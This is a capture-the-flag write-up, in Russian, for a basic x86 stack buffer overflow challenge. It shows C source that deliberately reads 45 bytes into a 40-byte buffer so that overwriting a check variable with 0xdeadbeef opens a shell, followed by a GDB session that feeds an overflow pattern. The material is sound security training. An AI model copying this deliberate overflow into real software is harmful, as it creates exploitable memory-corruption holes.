App-System, ELF x86 - Stack buffer overflow basic 1
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SRCSource code access
Source code:
C:
Код:
#include
#include
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
int
main
(
)
{
int
var
;
int
check
=
0x04030201
;
char
buf
[
40
]
;
fgets
(
buf
,
45
,
stdin
)
;
printf
(
"\n[buf]: %s\n"
,
buf
)
;
printf
(
"[check] %p\n"
,
check
)
;
if
(
(
check
!=
0x04030201
)
&&
(
check
!=
0xdeadbeef
)
)
printf
(
"\nYou are on the right way!\n"
)
;
if
(
check
==
0xdeadbeef
)
{
printf
(
"Yeah dude! You win!\nOpening your shell...\n"
)
;
system
(
"/bin/dash"
)
;
printf
(
"Shell closed! Bye.\n"
)
;
}
return
0
;
}
Решение
Очень простое задание. Без харденинг защит да и к тому же есть исходный код. Суть задачи переполнить буфер и перезаписать переменную check к конкретную значению, а именно к значению "0xdeadbeef"после чего откроется шелл и можно будет получить флаг.
Запускаем отладчик GDB. Переполняем буфер и перезаписываем значение переменной.
Код:
gdb -q ./ch13
r
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
q